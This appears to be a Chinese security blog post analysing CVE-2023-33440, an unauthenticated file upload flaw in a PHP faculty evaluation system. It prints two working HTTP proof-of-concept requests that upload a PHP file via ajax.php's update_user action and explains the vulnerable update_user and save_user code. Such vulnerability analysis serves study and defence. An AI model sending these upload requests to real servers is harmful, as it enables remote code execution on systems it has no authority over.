CVE-2023-33440源码分析
免责声明
由于传播、利用本公众号"小妖怪想学安全
"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"小妖怪想学安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!
0、漏洞描述
oretnom23 的教师评估系统 v1.0 具有未授权文件上传功能
源码下载地址:
https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
2、CVE编号
CVE-2023-33440
3、源码分析-update_user
-
先分析poc
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 741Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="firstname"Administrator-----------------------------166782539326470Content-Disposition: form-data; name="lastname"a-----------------------------166782539326470Content-Disposition: form-data; name="email"[email protected]-----------------------------166782539326470Content-Disposition: form-data; name="password"admin-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
-
通过poc可以注意一个三个点:
-
漏洞是在那个文件产生的:ajax.php -
传递的参数:action=update_user -
漏洞类型:文件上传 -
来到下载好的源码中,找到ajax.php,并打开,两个重要的点
-
包含了:admin_class.php -
当action的值为update_user时就会执行Action类中大的update_user()方法 -
现在来到admin_class.php,文件,可以看到这个文件里边就有Action这类的源码
-
现在就直接在这个类里边找,update_user的源码,实现了文件上传的功能,并且没有任何拦截,并且在传递参数时,如果有id有值就打印整个查询语句
-
所以现在可以重构一下poc,这样就简单一点了
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 312Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
4、源码分析-save_user
-
在ajax.php文件中还有一个save_user,值也一样存在相同的漏洞
-
直接来到admin_class.php,的save_user方法,和上边是一样的
-
这里和上边不一样的点就是,不会打印文件名,但是这个文件名是通过时间戳生产的
5、复现
-
直接去春秋云境:https://yunjing.ichunqiu.com/cve/detail/1123?pay=2
搜索该漏洞编号即可进行复现
-
发包
-
访问上传的文件
原文始发于微信公众号(青春计协):CVE-2023-33440源码分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论